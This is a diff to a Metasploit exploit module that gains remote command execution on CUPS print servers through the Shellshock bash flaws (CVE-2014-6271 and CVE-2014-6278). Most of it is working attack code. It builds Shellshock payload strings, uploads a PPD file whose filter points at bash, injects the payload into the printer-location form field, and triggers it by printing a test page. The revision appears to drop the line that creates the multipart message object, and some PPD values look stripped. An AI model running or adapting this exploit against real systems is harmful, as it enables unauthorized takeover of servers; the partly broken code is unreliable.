diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb index dc65b3618c..ec5aed8791 100644 --- a/modules/exploits/multi/http/cups_bash_env_exec.rb +++ b/modules/exploits/multi/http/cups_bash_env_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit4 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -19,10 +19,12 @@ class Metasploit4 < Msf::Exploit::Remote }, 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery + 'lcamtuf', # CVE-2014-6278 'Brendan Coles ' # msf ], 'References' => [ ['CVE', '2014-6271'], + ['CVE', '2014-6278'], ['EDB', '34765'], ['URL', 'https://access.redhat.com/articles/1200223'], ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] @@ -32,38 +34,68 @@ class Metasploit4 < Msf::Exploit::Remote 'Platform' => 'unix', 'Payload' => { - 'Space' => 1024, - 'BadChars' => "\x00\x0A\x0D\x22", - 'DisableNops' => true, + 'Space' => 1024, + 'BadChars' => "\x00\x0A\x0D", + 'DisableNops' => true }, - 'Compat' => + 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic bash netcat perl', + 'RequiredCmd' => 'generic bash awk ruby' }, - # Tested on CUPS 1.4.3 - 'Targets' => - [ - [ - 'Automatic Targeting', { 'auto' => true } - ], - ], + # Tested on CUPS 1.4.3 and 1.5.3 + 'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014', 'License' => MSF_LICENSE )) register_options([ Opt::RPORT(631), - OptString.new('USERNAME', [ true, 'CUPS username', '']), - OptString.new('PASSWORD', [ true, 'CUPS password', '']) + OptBool.new('SSL', [ true, 'Use SSL', true ]), + OptString.new('USERNAME', [ true, 'CUPS username', 'root']), + OptString.new('PASSWORD', [ true, 'CUPS user password', '']), + OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]), + OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ]) ], self.class) end # - # Check + # CVE-2014-6271 + # + def cve_2014_6271(cmd) + %{() { :;}; $(#{cmd}) & } + end + + # + # CVE-2014-6278 + # + def cve_2014_6278(cmd) + %{() { _; } >_[$($())] { $(#{cmd}) & }} + end + + # + # Check credentials # def check - Exploit::CheckCode::Unknown + @cookie = rand_text_alphanumeric(16) + printer_name = rand_text_alphanumeric(10 + rand(5)) + res = add_printer(printer_name, '') + if !res + vprint_error("#{peer} - No response from host") + return Exploit::CheckCode::Unknown + elsif res.body =~ /Set Default Options for #{printer_name}/ + vprint_good("#{peer} - Added printer successfully") + delete_printer(printer_name) + return Exploit::CheckCode::Detected + elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + vprint_error("#{peer} - Authentication failed") + return Exploit::CheckCode::Detected + elsif res.code == 426 + vprint_error("#{peer} - SSL required - set SSL true") + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end end # @@ -71,49 +103,69 @@ class Metasploit4 < Msf::Exploit::Remote # def exploit @cookie = rand_text_alphanumeric(16) - printer_name = rand_text_alphanumeric(10) + printer_name = rand_text_alphanumeric(10 + rand(5)) - # Create a printer with a CUPS filter pointing to /bin/bash - res = create_printer(printer_name) + # Select target CVE + case datastore['CVE'] + when 'CVE-2014-6278' + cmd = cve_2014_6278(payload.raw) + else + cmd = cve_2014_6271(payload.raw) + end + + # Add a printer containing the payload + # with a CUPS filter pointing to /bin/bash + res = add_printer(printer_name, cmd) if !res - print_error("#{peer} - Request failed") - return - elsif res.code == 426 - print_error("#{peer} - Authentication failed") - return + fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.") elsif res.body =~ /Set Default Options for #{printer_name}/ - print_good("#{peer} - Created printer successfully") + print_good("#{peer} - Added printer successfully") + elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.") + elsif res.code == 426 + fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.") + else + fail_with(Failure::Unknown, "#{peer} - Could not add printer.") end - # Request a printer test page. + # Add a test page to the print queue. # The print job triggers execution of the bash filter - # which executes the payload in the env vars. + # which executes the payload in the environment variables. res = print_test_page(printer_name) - if !res || res.code != 200 - print_error("#{peer} - Request failed") - return - end - if res.body =~ /Test page sent; job ID is/ - print_status "#{peer} - Test page sent successfully" + if !res + fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.") + elsif res.body =~ /Test page sent; job ID is/ + vprint_good("#{peer} - Added test page to printer queue") + elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.") + elsif res.code == 426 + fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.") + else + fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.") end # Delete the printer res = delete_printer(printer_name) - if !res || res.code != 200 - print_error("#{peer} - Request failed") - return - end - if res.body =~ /has been deleted successfully/ - print_status "#{peer} - Deleted printer '#{printer_name}' successfully" + if !res + fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.") + elsif res.body =~ /has been deleted successfully/ + print_status("#{peer} - Deleted printer '#{printer_name}' successfully") + elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.") + elsif res.code == 426 + vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.") + else + vprint_warning("#{peer} - Could not delete printer '#{printer_name}'") end end # - # Create a printer + # Add a printer to CUPS # - def create_printer printer_name - print_status "#{peer} - Creating printer '#{printer_name}'" + def add_printer(printer_name, cmd) + vprint_status("#{peer} - Adding new printer '#{printer_name}'") + ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd" ppd_file = <<-EOF *PPD-Adobe: "4.3" *%==== General Information Keywords ======================== @@ -121,89 +173,95 @@ class Metasploit4 < Msf::Exploit::Remote *FileVersion: "1.00" *LanguageVersion: English *LanguageEncoding: ISOLatin1 -*PCFileName: "MFC3820CN.PPD" +*PCFileName: "#{ppd_name}" *Manufacturer: "Brother" *Product: "(Brother MFC-3820CN)" *1284DeviceID: "MFG:Brother;MDL:MFC-3820CN" *cupsVersion: 1.1 *cupsManualCopies: False -*cupsFilter: "application/vnd.cups-postscript 0 ../../../../../../../../../../bin/bash" -*cupsModelNumber: 5 +*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash" +*cupsModelNumber: #{rand(10) + 1} *ModelName: "Brother MFC-3820CN" *ShortNickName: "Brother MFC-3820CN" *NickName: "Brother MFC-3820CN CUPS v1.1" -*PSVersion: "(3010.106) 3" *% +*%==== Basic Device Capabilities ============= +*LanguageLevel: "3" +*ColorDevice: True +*DefaultColorSpace: RGB +*FileSystem: False +*Throughput: "12" +*LandscapeOrientation: Plus90 +*VariablePaperSize: False +*TTRasterizer: Type42 +*FreeVM: "1700000" + +*DefaultOutputOrder: Reverse +*%==== Media Selection ====================== + +*OpenUI *PageSize/Media Size: PickOne +*OrderDependency: 18 AnySetup *PageSize +*DefaultPageSize: BrLetter +*PageSize BrA4/A4: "<>setpagedevice" +*PageSize BrLetter/Letter: "<>setpagedevice" EOF - shock = "() { :;}; /bin/bash -c \"#{payload.raw} &\"" - pd = Rex::MIME::Message.new - pd.add_part(ppd_file, "application/octet-stream", nil, "form-data; name=\"PPD_FILE\"; filename=\"#{rand_text_alphanumeric(10)}.ppd\"") - pd.add_part("#{@cookie}", nil, nil, "form-data; name=\"org.cups.sid\"") - pd.add_part("add-printer", nil, nil, "form-data; name=\"OP\"") - pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"printer_name\"") - pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"PRINTER_NAME\"") - pd.add_part("", nil, nil, "form-data; name=\"PRINTER_INFO\"") # injectable - pd.add_part("#{shock}", nil, nil, "form-data; name=\"PRINTER_LOCATION\"") # injectable - pd.add_part("file:///dev/null", nil, nil, "form-data; name=\"DEVICE_URI\"") - pd.add_part('', nil, nil, "form-data; name=\"PRINTER_IS_SHARED\"") - pd.add_part('262144', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") # default value + pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}")) + pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid")) + pd.add_part("add-printer", nil, nil, %(form-data; name="OP")) + pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME")) + pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable + pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable + pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI")) data = pd.to_s data.strip! - res = send_request_cgi({ + send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin'), 'ctype' => "multipart/form-data; boundary=#{pd.bound}", 'data' => data, 'cookie' => "org.cups.sid=#{@cookie};", - 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']), - }) - - return res + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + ) end # - # Print a test page + # Queue a printer test page # - def print_test_page printer_name - print_status "#{peer} - Requesting printer test page" - res = send_request_cgi( - { - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path,'printers',printer_name), - 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']), - 'cookie' => "org.cups.sid=#{@cookie}", - 'vars_post' => { - 'org.cups.sid' => @cookie, - 'OP' => 'print-test-page' - } + def print_test_page(printer_name) + vprint_status("#{peer} - Adding test page to printer queue") + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'printers', printer_name), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'cookie' => "org.cups.sid=#{@cookie}", + 'vars_post' => { + 'org.cups.sid' => @cookie, + 'OP' => 'print-test-page' } ) - return res end # # Delete a printer # - def delete_printer printer_name - res = send_request_cgi( - { - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path,'admin'), - 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']), - 'cookie' => "org.cups.sid=#{@cookie}", - 'vars_post' => { - 'org.cups.sid' => @cookie, - 'OP' => 'delete-printer', - 'printer_name' => printer_name, - 'confirm' => 'Delete Printer' - } + def delete_printer(printer_name) + vprint_status("#{peer} - Deleting printer '#{printer_name}'") + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin'), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'cookie' => "org.cups.sid=#{@cookie}", + 'vars_post' => { + 'org.cups.sid' => @cookie, + 'OP' => 'delete-printer', + 'printer_name' => printer_name, + 'confirm' => 'Delete Printer' } ) - return res end end